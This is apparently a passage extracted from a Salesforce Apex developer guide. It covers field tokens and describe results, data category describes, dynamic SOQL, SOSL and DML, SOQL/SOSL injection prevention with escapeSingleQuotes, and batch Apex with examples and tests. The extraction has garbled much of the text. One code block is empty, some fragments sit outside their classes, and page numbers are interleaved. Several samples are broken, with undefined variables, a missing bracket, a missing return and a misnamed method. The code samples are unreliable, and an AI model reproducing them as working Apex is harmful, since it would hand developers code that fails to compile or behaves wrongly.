### Using Field Tokens

To access the token for a field, use one of the following methods:

- Access the static member variable name of an sObject static type, for example, `Account.Name`
- Call the `getSObjectField` method on a field describe result

The field token uses the data type `Schema.SObjectField`.

In the following example, the field token is returned for the `Account` object's `AccountNumber` field:

```
Schema.SObjectField F = Account.AccountNumber;
```

In the following example, the field token is returned from the field describe result:

```
// Get the describe result for the Name field on the Account object

// Verify that the field token is the token for the Name field on an Account object
System.assert(f.getSObjectField() == Account.Name);

// Get the describe result from the token
f = f.getSObjectField().getDescribe();
```

### Using Field Describe Results

To access the describe result for a field, use one of the following methods:

- Call the `getDescribe` method on a field token
- Access the `fields` member variable of an sObject token with a field member variable (such as `Name`, `BillingCity`, and so on)

The field describe result uses the data type `Schema.DescribeFieldResult`.

The following example uses the `getDescribe` method:

```
Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe();
```

This example uses the `fields` member variable method:

```
```

In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject at compile time. When the parser finds the `fields` member variable, it looks backwards to find the name of the sObject (Account) and validates that the field name following the `fields` member variable is legitimate. The `fields` member variable only works when used in this manner.
You can only have 100 fields member variable statements in an Apex class or trigger.

**Note:** You should not use the fields member variable without also using either a field member variable name or the getMap method. For more information on getMap, see **Accessing All Field Describe Results for an sObject** on page 146.

For more information about the methods available with a field describe result, see **Describe Field Result Methods** on page 279.

**Accessing All sObjects**

Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys) to sObject tokens (values). For example:

```java
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();
```

The map has the following characteristics:

- It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions
- The sObject names are case insensitive
- The keys use namespaces as required
- The keys reflect whether the sObject is a custom object

For example, if the code block that generates the map is in namespace N1, and an sObject is also in N1, the key in the map is represented as `MyObject__c`. However, if the code block is in namespace N1, and the sObject is in namespace N2, the key is `N2__MyObject__c`.

In addition, standard sObjects have no namespace prefix.

**Accessing All Field Describe Results for an sObject**

Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and the field tokens (values) for an sObject.

The following example generates a map that can be used to access a field by name:

```java
Map<String, Schema.SObjectField> M = Schema.SObjectType.Account.fields.getMap();
```

**Note:** The value type of this map is not a field describe result. Using the describe results would take too many system resources. Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe result for it.

The map has the following characteristics:

- It is dynamic, that is, it is generated at runtime on the fields for that sObject
- All field names are case insensitive
- The keys use namespaces as required
- The keys reflect whether the field is a custom object

For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as `MyField__c`. However, if the code block is in namespace N1, and the field is in namespace N2, the key is `N2__MyField__c`.

In addition, standard fields have no namespace prefix.
Accessing All Data Categories Associated with an sObject

Use the `describeDataCategoryGroups` and `describeDataCategoryGroupStructures` methods to return the categories associated with a specific object:

1. Return all the category groups associated with the objects of your choice (see `describeDataCategoryGroups` on page 269).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see `Schema.DescribeDataCategoryGroupResult` on page 271).
3. Specify the category group and associated object, then retrieve the categories available to this object (see `describeDataCategoryGroupStructures` on page 270).

The `describeDataCategoryGroupStructures` method returns the categories available for the object in the category group you specified. For additional information about data categories, see “What are Data Categories?” in the Salesforce online help.

In the following example, the `describeDataCategoryGroupSample` method returns all the category groups associated with the Article and Question objects. The `describeDataCategoryGroupStructures` method returns all the categories available for articles and questions in the Regions category group. For additional information about articles and questions, see “Managing Articles and Translations” and “Answers Overview” in the Salesforce online help.

To use the following example, you must:

- Enable Salesforce Knowledge
- Enable the answers feature
- Create a data category group called Regions
- Assign Regions as the data category group to be used by Answers
- Make sure the Regions data category group is assigned to Salesforce Knowledge

For more information on creating data category groups, see “Creating and Modifying Category Groups” in the Salesforce online help. For more information on answers, see “Answers Overview” in the Salesforce online help.

```java
public class DescribeDataCategoryGroupSample {
    public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample() {
        List<DescribeDataCategoryGroupResult> describeCategoryResult;
        try {
            //Creating the list of sobjects to use for the describe
            //call
            List<String> objType = new List<String>();
            objType.add('KnowledgeArticleVersion');
            objType.add('Question');

            //Describe Call
            describeCategoryResult = Schema.describeDataCategoryGroups(objType);

            //Using the results and retrieving the information
            for (DescribeDataCategoryGroupResult singleResult : describeCategoryResult) {
                //Getting the name of the category
                singleResult.getName();

                //Getting the name of label
                singleResult.getLabel();

                //Getting description
                singleResult.getDescription();

                //Getting the sobject
                singleResult.getSobject();
            }
        } catch(Exception e) {
        }
    }
}
```
public class DescribeDataCategoryGroupStructures {
  public static List<DescribeDataCategoryGroupStructureResult> getDescribeDataCategoryGroupStructureResults() {
    List<DescribeDataCategoryGroupResult> describeCategoryResult;
    List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
    try {
      // Making the call to the describeDataCategoryGroups to
      // get the list of category groups associated
      List<String> objType = new List<String>();
      objType.add('KnowledgeArticleVersion');
      objType.add('Question');
      describeCategoryResult = Schema.describeDataCategoryGroups(objType);

      // Creating a list of pair objects to use as a parameter
      // for the describe call
      List<DataCategoryGroupSobjectTypePair> pairs =
        new List<DataCategoryGroupSobjectTypePair>();

      // Looping through the first describe result to create
      // the list of pairs for the second describe call
      for (DescribeDataCategoryGroupResult singleResult : describeCategoryResult) {
        DataCategoryGroupSobjectTypePair p =
          new DataCategoryGroupSobjectTypePair();
        p.setSobject(singleResult.getSobject());
        p.setDataCategoryGroupName(singleResult.getName());
        pairs.add(p);
      }

      // describeDataCategoryGroupStructures()
      describeCategoryStructureResult =
        Schema.describeDataCategoryGroupStructures(pairs, false);

      // Getting data from the result
      for (DescribeDataCategoryGroupStructureResult singleResult :
          describeCategoryStructureResult) {
        // Get name of the associated Sobject
        singleResult.getSobject();

        // Get the name of the data category group
        singleResult.getName();

        // Get the label of the data category group
        singleResult.getLabel();

        // Get the description of the data category group
        singleResult.getDescription();

        // Get the top level categories
        DataCategory[] toplevelCategories =
          singleResult.getTopCategories();

        // Recursively get all the categories
        List<DataCategory> allCategories =
          getAllCategories(toplevelCategories);

        for (DataCategory category : allCategories) {
          // Get the name of the category
          category.getName();

          // Get the label of the category
        }
      }
    }
  }
}
category.getLabel();

    //Get the list of sub categories in the category
    DataCategory[] childCategories =
        category.getChildrenCategories();
}
} catch (Exception e){
    return describeCategoryStructureResult;
}

private static DataCategory[] getAllCategories(DataCategory[] categories){
    if(categories.isEmpty()){
        return new DataCategory[]{};
    } else {
        DataCategory[] categoriesClone = categories.clone();
        DataCategory category = categoriesClone[0];
        DataCategory[] allCategories = new DataCategory[] {category};
        categoriesClone.remove(0);
        categoriesClone.addAll(category.getChildrenCategories());
        allCategories.addAll(getAllCategories(categoriesClone));
        return allCategories;
    }
}

Testing Access to All Data Categories Associated with an sObject

The following example tests the describeDataCategoryGroupSample method shown in Accessing All Data Categories Associated with an sObject. It ensures that the returned category group and associated objects are correct.

@isTest
private class DescribeDataCategoryGroupSampleTest {
    public static testMethod void describeDataCategoryGroupSampleTest(){
        List<DescribeDataCategoryGroupResult>describeResult =
            DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();

        //Assuming that you have KnowledgeArticleVersion and Questions
        //associated with only one category group 'Regions'.
        System.assert(describeResult.size() == 2,
            'The results should only contain two results: ' + describeResult.size());

        for(DescribeDataCategoryGroupResult result : describeResult) {
            //Storing the results
            String name = result.getName();
            String label = result.getLabel();
            String description = result.getDescription();
            String objectNames = result.getSobject();

            //asserting the values to make sure
            System.assert(name == 'Regions',
                'Incorrect name was returned: ' + name);
            System.assert(label == 'Regions of the World',
                'Incorrect label was returned: ' + label);
            System.assert(description == 'This is the category group for all the regions',
                'Incorrect description was returned: ' + description);
            System.assert(objectNames.contains('KnowledgeArticleVersion')
                || objectNames.contains('Question'),
                'Incorrect sObject was returned: ' + objectNames);
        }
    }
}
This example tests the `describeDataCategoryGroupStructures` method shown in Accessing All Data Categories Associated with an sObject. It ensures that the returned category group, categories and associated objects are correct.

```java
@isTest
private class DescribeDataCategoryGroupStructuresTest {
    public static testMethod void getDescribeDataCategoryGroupStructureResultsTest() {
        List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
            DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
        System.assert(describeResult.size() == 2,
            'The results should only contain 2 results: ' + describeResult.size());
        //Creating category info
        CategoryInfo world = new CategoryInfo('World', 'World');
        CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
        CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
            'North America');
        CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
            'South America');
        CategoryInfo europe = new CategoryInfo('Europe', 'Europe');
        List<CategoryInfo> info = new CategoryInfo[]
            { asia, northAmerica, southAmerica, europe }
        ;
        for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
            String name = result.getName();
            String label = result.getLabel();
            String description = result.getDescription();
            String objectNames = result.getSobject();
            //asserting the values to make sure
            System.assert(name == 'Regions',
                'Incorrect name was returned: ' + name);
            System.assert(label == 'Regions of the World',
                'Incorrect label was returned: ' + label);
            System.assert(description == 'This is the category group for all the regions',
                'Incorrect description was returned: ' + description);
            System.assert(objectNames.contains('KnowledgeArticleVersion')
                || objectNames.contains('Question'),
                'Incorrect sObject was returned: ' + objectNames);
            DataCategory [] topLevelCategories = result.getTopCategories();
            System.assert(topLevelCategories.size() == 1,
                'Incorrect number of top level categories returned: ' + topLevelCategories.size());
            System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&
                topLevelCategories[0].getName() == world.getName());
            //checking if the correct children are returned
            DataCategory [] children = topLevelCategories[0].getChildCategories();
            System.assert(children.size() == 4,
                'Incorrect number of children returned: ' + children.size());
            for (Integer i=0; i < children.size(); i++) {
                System.assert(children[i].getLabel() == info[i].getLabel() &&
                    children[i].getName() == info[i].getName());
            }
        }
    }
}
private class CategoryInfo {
    private final String name;
    private final String label;
    ...
private CategoryInfo(String n, String l) {
    this.name = n;
    this.label = l;
}

public String getName() {
    return this.name;
}

public String getLabel() {
    return this.label;
}

---

**Dynamic SOQL**

*Dynamic SOQL* refers to the creation of a SOQL string at runtime with an Apex script. Dynamic SOQL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names.

To create a dynamic SOQL query at runtime, use the database **query** method, in one of the following ways:

- Return a single sObject when the query returns a single record:

  ```java
  sObject S = Database.query(string_limit_1);
  ```

- Return a list of sObjects when the query returns more than a single record:

  ```java
  List<sObject> L = Database.query(string);
  ```

The database **query** method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and for loops. The results are processed in much the same way as static SOQL queries are processed.

Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data type. At runtime, the system validates that the type of the query matches the declared type of the variable. If the query does not return the correct sObject type, a runtime error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject.

Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see *Understanding Execution Governors and Limits* on page 188.

For a full description of SOQL query syntax, see [www.salesforce.com/us/developer/docs/api/index_CSH.htm#sforce_api_calls_soql.htm](http://www.salesforce.com/us/developer/docs/api/index_CSH.htm#sforce_api_calls_soql.htm) in the *Web Services API Developer's Guide*.

**SOQL Injection**

SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL statements into your script. This can occur in an Apex script whenever your application relies on end user input to construct a dynamic SOQL statement and you do not handle the input properly.

To prevent SOQL injection, use the **escapeSingleQuotes** method. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.
Dynamic SOSL

Dynamic SOSL refers to the creation of a SOSL string at runtime with an Apex script. Dynamic SOSL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names.

To create a dynamic SOSL query at runtime, use the search query method. For example:

```apex
List<List<sObject>> myQuery = search.query(SOSL_search_string);
```

The following example exercises a simple SOSL query string.

```apex
String searchquery='FIND\'Edge\'\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';
List<List<SObject>>searchList=search.query(searchquery);
```

Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the results from Account are first, then Contact, then Lead.

The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and for loops. The results are processed in much the same way as static SOSL queries are processed.

SOSL queries are only supported in Apex classes and anonymous blocks. You cannot use a SOSL query in a trigger. Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Understanding Execution Governors and Limits on page 188.

For a full description of SOSL query syntax, see www.salesforce.com/us/developer/docs/api/index_CSH.htm#sforce_api_calls_sosl.htm in the Web Services API Developer's Guide.

SOSL Injection

SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL statements into your script. This can occur in an Apex script whenever your application relies on end user input to construct a dynamic SÖSL statement and you do not handle the input properly.

To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Dynamic DML

In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert them into the database using DML.

To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a concrete sObject type (such as Account). For example:

```apex
// Get a new account
Account A = new Account();
// Get the token for the account
Schema.sObjectType tokenA = A.getSObjectType();
```
The following produces an error because the token is a generic sObject, not an Account:
Account B = tokenA.newSObject();

The following works because the token is cast back into an Account:
Account B = (Account)tokenA.newSObject();

Though the sObject token `tokenA` is a token of `Account`, it is considered an sObject because it is accessed separately. It must be cast back into the concrete sObject type `Account` to use the `newSObject` method. For more information on casting, see `Classes and Casting` on page 117.

You can also specify an ID with `newSObject`. For example:

```java
SObject s = Database.query('Select Id from account limit 1')[0].getSObjectType().newSObject([SELECT Id FROM Account LIMIT 1][0].id);
```

**Setting and Retrieving Field Values**

Use the `get` and `put` methods on an object to set or retrieve values for fields using either the API name of the field expressed as a String, or the field's token. In the following example, the API name of the field `AccountNumber` is used:

```java
SObject s = [SELECT accountNumber FROM account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');
```

The following example uses the `AccountNumber` field's token instead:

```java
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(f.getObjectField(), '12345');
```

The `Object` scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the `anyType` field type. Note that the `Object` data type is different from the `sObject` data type, which can be used as a generic type for any `sObject`.

**Note:** Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

**Setting and Retrieving Foreign Keys**

Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a foreign key, use the `get` or `put` methods.

To set or retrieve the record associated with a foreign key, use the `getSObject` and `putSObject` methods. Note that these methods must be used with the `sObject` data type, not `Object`. For example:

```java
SObject c = Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');
```

There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always returns a parent object with a populated ID. If you have an ID, use it with the child object.

For example, suppose that custom object `C1` has a foreign key `c2__c` that links to a child custom object `C2`. You want to create a `C1` object and have it associated with a `C2` record named 'xxx' (assigned to the value `c2__r`). You do not need the ID of the 'xxx' record, as it is populated through the relationship of parent to child. For example:

```java
insert new C1__c(name = 'x', c2__r = new C2__c(name = 'xxx'));
```
If you had assigned a value to the ID for `c2__r`, it would be ignored. If you do have the ID, assign it to the object (`c2__c`), not the record.

You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a parent-to-child relationship using dynamic Apex:

```java
String queryString = 'SELECT Id, Name,
    (SELECT FirstName, LastName from Contacts LIMIT 1) from Account';
SObject[] queryParentObject = Database.query(queryString);

for (SObject parentRecord : queryParentObject){
    Object ParentFieldValue = parentRecord.get('Name');
    // Prevent a null relationship from being accessed
    SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
    if (childRecordsFromParent != null) {
        for (SObject childRecord : childRecordsFromParent){
            Object ChildFieldValue1 = childRecord.get('FirstName');
            Object ChildFieldValue2 = childRecord.get('LastName');
            System.debug('Account Name: ' + ParentFieldValue +
                '. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
        }
    }
}
```
Chapter 8

Batch Apex

In this chapter ...

• Using Batch Apex
• Understanding Apex Managed Sharing

A developer can now employ batch Apex to build complex, long-running processes on the Force.com platform. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and Opportunities on a nightly basis and reassigns them if necessary, based on custom criteria.

Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programatically invoked at runtime using Apex.

You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page in Salesforce or programmatically using the Force.com Web services API to query the AsyncapexJob object.

Caution: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not add more batch jobs than the five that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.

Batch jobs can also be programatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see “Scheduling Apex” in the Salesforce online help.

The batch Apex interface is also used for Apex managed sharing recalculations. For more information on batch jobs, continue to Using Batch Apex on page 156.

For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 163.
Using Batch Apex

To use batch Apex, you must write an Apex class that implements the Salesforce-provided interface `Database.Batchable`, and then invoke the class programatically.

To monitor or stop the execution of the batch Apex job, click **Your Name ➤ Setup ➤ Monitoring ➤ Apex Jobs**. For more information, see “Apex Job Queue” in the Salesforce online help.

Implementing the `Database.Batchable` Interface

The `Database.Batchable` interface contains three methods that must be implemented:

- **start method**

  ```
  global (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc) {}
  ```

  The `start` method is called at the beginning of a batch Apex job. Use the `start` method to collect the records or objects to be passed to the interface method `execute`. This method returns either a `Database.QueryLocator` object or an iterable that contains the records or objects being passed into the job.

  Use the `Database.QueryLocator` object when you are using a simple query (`SELECT`) to generate the scope of objects used in the batch job. If you use a `QueryLocator` object, the governor limit for the total number of records retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a `QueryLocator` for all account records (up to 50 million records) in an organization. Another example is a sharing recalculation for the Contact object that returns a `QueryLocator` for all contact records in an organization.

  Use the iterable when you need to create a complex scope for the batch job. You can also use the iterable to create your own custom process for iterating through the list.

  **Important:** If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced.

- **execute method**

  ```
  global void execute(Database.BatchableContext BC, list<P>){}
  ```

  The `execute` method is called for each batch of records passed to the method. Use this method to do all required processing for each chunk of data.

  This method takes the following:
  - A reference to the `Database.BatchableContext` object.
  - A list of `sObjects`, such as `List<sObject>`, or a list of parameterized types. If you are using a `Database.QueryLocator`, the returned list should be used.

- **finish method**

  ```
  global void finish(Database.BatchableContext BC){}
  ```

  The `finish` method is called after all batches are processed. Use this method to send confirmation emails or execute post-processing operations.
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and is executed without the optional `scope` parameter from `Database.executeBatch` is considered five transactions of 200 records each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates made in the first transaction are not rolled back.

Using `Database.BatchableContext`

All of the methods in the `Database.Batchable` interface require a reference to a `Database.BatchableContext` object. Use this object to track the progress of the batch job.

The following is the instance method with the `Database.BatchableContext` object:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Returns</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getJobID</code></td>
<td></td>
<td>ID</td>
<td>Returns the ID of the <code>AsyncApexJob</code> object associated with this batch job as a string. Use this method to track the progress of records in the batch job. You can also use this ID with the <code>System.abortJob</code> method.</td>
</tr>
</tbody>
</table>

The following example uses the `Database.BatchableContext` to query the `AsyncApexJob` associated with the batch job.

```apex
global void finish(Database.BatchableContext BC){
  // Get the ID of the AsyncApexJob representing this batch job
  // from Database.BatchableContext.
  // Query the AsyncApexJob object to retrieve the current job's information.
  AsyncApexJob a = [Select Id, Status, NumberOfErrors, JobItemsProcessed, TotalJobItems, CreatedBy.Email
                    from AsyncApexJob where Id = :BC.getJobId();
  // Send an email to the Apex job's submitter notifying of job completion.
  Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
  String[] toAddresses = new String[] {a.CreatedBy.Email};
  mail.setToAddresses(toAddresses);
  mail.setSubject('Apex Sharing Recalculation ' + a.Status);
  mail.setPlainTextBody
  ('The batch Apex job processed ' + a.TotalJobItems + ' batches with '+ a.NumberOfErrors + ' failures.');
  Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}
```

Using `Database.QueryLocator` to Define Scope

The `start` method can return either a `Database.QueryLocator` object that contains the records to be used in the batch job or an iterable.

The following example uses a `Database.QueryLocator`:

```apex
global class SearchAndReplace implements Database.Batchable<sObject> {
  global final String Query;
  global final String Entity;
  global final String Field;
  global final String Value;

  global SearchAndReplace(String q, String e, String f, String v){
    Query=q; Entity=e; Field=f;Value=v;
  }

global Database.QueryLocator start(Database.BatchableContext BC){
  return Database.getQueryLocator(query);
}
```

157
global void execute(Database.BatchableContext BC, List<sObject> scope){
  for(sobject s : scope){
    s.put(Field,Value);
  }
  update scope;
}

global void finish(Database.BatchableContext BC){
}

Using an Iterable in Batch Apex to Define Scope

The start method can return either a Database.QueryLocator object that contains the records to be used in the batch job, or an iterable. Use an iterable to step through the returned items more easily.

global class batchClass implements Database.batchable{
  global Iterable start(Database.BatchableContext info){
    return new CustomAccountIterable();
  }
  global void execute(Database.BatchableContext info, List<Account> scope){
    List<Account> accsToUpdate = new List<Account>();
    for(Account a : scope){
      a.name = 'true';
      a.numberOfEmployees = 70;
      accsToUpdate.add(a);
    }
    update accsToUpdate;
  }
  global void finish(Database.BatchableContext info){
  }
}

Using the Database.executeBatch Method

You can use the Database.executeBatch method to programmatically begin a batch job.

Important: When you call Database.executeBatch, Salesforce only adds the process to the queue at the scheduled time. Actual execution may be delayed based on service availability.

The Database.executeBatch method takes two parameters:

- The class that implements Database.Batchable.
- The Database.executeBatch method takes an optional parameter scope. This parameter specifies the number of records that should be passed into the execute method. This value must be greater than 0. There is no upper limit, however, if you use a very high number, you may run into other limits. Use this when you have many operations for each record being passed in and are running into governor limits. By limiting the number of records, you are thereby limiting the operations per transaction.

The Database.executeBatch method returns the ID of the AsyncApexJob object, which can then be used to track the progress of the job. For example:

```java
ID batchprocessid = Database.executeBatch(reassign);
AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors
  FROM AsyncApexJob WHERE Id =: batchprocessid ];
```

For more information about the AsyncApexJob object, see AsyncApexJob in the Force.com Web Services API Developer's Guide.
You can also use this ID with the `System.abortJob` method.

**Batch Apex Examples**

The following example uses a `Database.QueryLocator`:

```java
global class UpdateAccountFields implements Database.Batchable<sObject> {
    global final String Query;
    global final String Entity;
    global final String Field;
    global final String Value;

    global UpdateAccountFields(String q, String e, String f, String v) {
        Query = q; Entity = e; Field = f; Value = v;
    }

    global Database.QueryLocator start(Database.BatchableContext BC) {
        return Database.getQueryLocator(query);
    }

    global void execute(Database.BatchableContext BC, List<sObject> scope) {
        for (sObject s : scope) { s.put(Field, Value); }
    }

    global void finish(Database.BatchableContext BC) {
    }
}
```

The following code can be used to call the above class:

```java
id batchinstanceid = database.executeBatch(new UpdateAccountFields(q, e, f, v), 5);
```

The following class uses batch Apex to reassign all accounts owned by a specific user to a different user.

```java
global class OwnerReassignment implements Database.Batchable<sObject> {
    String query;
    String email;
    Id toUserId;
    Id fromUserId;

    global database.querylocator start(Database.BatchableContext BC) {
        return Database.getQueryLocator(query);
    }

    global void execute(Database.BatchableContext BC, List<sObject> scope) {
        List<Account> accns = new List<Account>();
        for (sObject s : scope) {
            Account a = (Account) s;
            if (a.Ownerid == fromUserId) {
                a.Ownerid = toUserId;
                accns.add(a);
            }
        }
    }

    global void finish(Database.BatchableContext BC) {
        Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
        mail.setToAddresses(new String[] { email });
    }
}
```
mail.setReplyTo('batch@acme.com');
mail.setSenderDisplayName('Batch Processing');
mail.setSubject('Batch Process Completed');
mail.setPlainTextBody('Batch Process has completed');
Messaging.sendEmail(new Messaging.SingleEmailMessage[] { mail });
}

Use the following to execute the OwnerReassignment class in the previous example:

OwnerReassignment reassign = new OwnerReassignment();
reassign.query='SELECT Id, Name, Ownerid FROM Account WHERE ownerid=' + u.id + ' ';
reassign.email='admin@acme.com';
reassign.fromUserId = u;
reassign.toUserId = u2;
ID batchprocessid = Database.executeBatch(reassign);

**Using Callouts in Batch Apex**

To use a callout in batch Apex, you must specify Database.AllowsCallouts in the class definition. For example:

```java
global class SearchAndReplace implements Database.Batchable<sObject>,
Database.AllowsCallouts{
}
```

Callouts include HTTP requests as well as methods defined with the webService keyword.

**Using State in Batch Apex**

Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and is executed without the optional `scope` parameter is considered five transactions of 200 records each.

If you specify Database.Stateful in the class definition, you can maintain state across these transactions. This is useful for counting or summarizing records as they’re processed. For example, suppose your job processed opportunity records. You could define a method in `execute` to aggregate totals of the opportunity amounts as they were processed.

If you do not specify Database.Stateful, all member variables in the interface methods are set back to their original values.

The following example summarizes a custom field `total__c` as the records are processed:

```java
global class SummarizeAccountTotal implements Database.Batchable<sObject>, Database.Stateful{

global final String Query;
global integer Summary;

global SummarizeAccountTotal(String q){Query=q;
    Summary = 0;
}
global Database.QueryLocator start(Database.BatchableContext BC){
    return Database.getQueryLocator(query);
}
global void execute(Database.BatchableContext BC, List<sObject> scope){
    for(sObject s : scope){Summary = Integer.valueOf(s.get('total__c'))+Summary;
    }
}
global void finish(Database.BatchableContext BC){
}
}
In addition, you can specify a variable to access the initial state of the class. You can use this variable to share the initial state with all instances of the `Database.Batchable` methods. For example:

```java
// Implement the interface using a list of Account sObjects
// Note that the initialState variable is declared as final

global class MyBatchable implements Database.Batchable<sObject> {
    private final String initialState;
    String query;

    global MyBatchable(String intialState) {
        this.initialState = intialState;
    }

    global Database.QueryLocator start(Database.BatchableContext BC) {
        // Access initialState here
        return Database.getQueryLocator(query);
    }

    global void execute(Database.BatchableContext BC,
                        List<sObject> batch) {
        // Access initialState here
    }

    global void finish(Database.BatchableContext BC) {
        // Access initialState here
    }
}
```

Note that `initialState` is the *initial* state of the class. You cannot use it to pass information between instances of the class during execution of the batch job. For example, if you changed the value of `initialState` in `execute`, the second chunk of processed records would not be able to access the new value: only the initial value would be accessible.

### Testing Batch Apex

When testing your batch Apex, you can test only one execution of the `execute` method. You can use the `scope` parameter of the `executeBatch` method to limit the number of records passed into the `execute` method to ensure that you aren’t running into governor limits.

The `executeBatch` method starts an asynchronous process. This means that when you test batch Apex, you must make certain that the batch job is finished before testing against the results. Use the Test methods `startTest` and `stopTest` around the `executeBatch` method to ensure it finishes before continuing your test. All asynchronous calls made after the `startTest` method are collected by the system. When `stopTest` is executed, all asynchronous processes are run synchronously.

**Note:** Asynchronous calls, such as `@future` or `executeBatch`, called in a `startTest,stopTest` block, do not count against your limits for the number of queued jobs.

The example below tests the `OwnerReassignment` class.

```java
public static testMethod void testBatch() {
    user u = [SELECT ID, username FROM User
              WHERE username='testuser1@acme.com'];
    user u2 = [SELECT ID, username FROM User
              WHERE username='testuser2@acme.com'];
    String u2id = u2.id;
    // Create 200 test accounts - this simulates one execute.
    // Important - the Salesforce.com test framework only allows you to
    // test one execute.
```
Batch Apex Governor Limits

Keep in mind the following governor limits for batch Apex:

- Up to five queued or active batch jobs are allowed for Apex.
- A user can have up to five query cursors open at a time. For example, if five cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of the five cursors is released.

Cursor limits for different Force.com features are tracked separately. For example, you can have five Apex query cursors, five batch cursors, and five Visualforce cursors open at the same time.

- A maximum of 50 million records can be returned in the Database.QueryLocator object. If more than 50 million records are returned, the batch job is immediately terminated and marked as Failed.
- If no size is specified with the optional scope parameter, Salesforce chunks the records returned by the QueryLocator into batches of 200, and then passes each batch to the execute method. Apex governor limits are reset for each execution of execute.
- The start, execute and finish methods can implement only one callout in each method.

Batch Apex Best Practices

- Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the trigger will not add more batch jobs than the five that are allowed. In particular, consider API bulk updates, import wizards, mass record changes through the user interface, and all cases where more than one record can be updated at a time.
- When you call Database.executeBatch, Salesforce only places the job in the queue at the scheduled time. Actual execution may be delayed based on service availability.
- When testing your batch Apex, you can test only one execution of the execute method. You can use the scope parameter of the executeBatch method to limit the number of records passed into the execute method to ensure that you aren’t running into governor limits.
- The executeBatch method starts an asynchronous process. This means that when you test batch Apex, you must make certain that the batch job is finished before testing against the results. Use the Test methods startTest and stopTest around the executeBatch method to ensure it finishes before continuing your test.
• Use `Database.Stateful` with the class definition if you want to share variables or data across job transactions. Otherwise, all instance variables are reset to their initial state at the start of each transaction.
• Methods declared as `future` are not allowed in classes that implement the `Database.Batchable` interface.
• Methods declared as `future` cannot be called from a batch Apex class.
• You cannot call the `Database.executeBatch` method from within any batch Apex method.
• You cannot use the `getContent` and `getContentAsPDF` PageReference methods in a batch job.
